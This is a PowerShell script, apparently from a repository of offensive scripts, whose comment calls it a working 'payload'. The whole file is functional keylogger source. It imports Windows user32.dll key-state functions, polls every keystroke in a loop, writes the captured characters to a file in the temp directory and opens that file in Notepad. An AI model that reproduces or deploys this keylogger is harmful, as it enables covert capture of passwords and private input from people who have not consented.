Whitecat18-Mavoc/psw-scripts/script1.ps1

#this payload is on work
function key-log($Path = "$env:temp\keylogger.txt") {

    $signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

    $null = New-Item -Path $Path -ItemType File -Force

    try {
        Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

        while ($true) {
            Start-Sleep -Milliseconds 40

            for ($ascii = 9; $ascii -le 254; $ascii++) {
                $state = $API::GetAsyncKeyState($ascii)

                if ($state -eq -32767) {
                    $null = [console]::CapsLock

                    $virtualKey = $API::MapVirtualKey($ascii, 3)

                    $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
                    $checkkbstate = $API::GetKeyboardState($kbstate)

                    $mychar = New-Object -TypeName System.Text.StringBuilder

                    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

                    if ($success) {
                        [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
                    }
                }
            }
        }
    }
    finally {
        notepad $Path
    }
}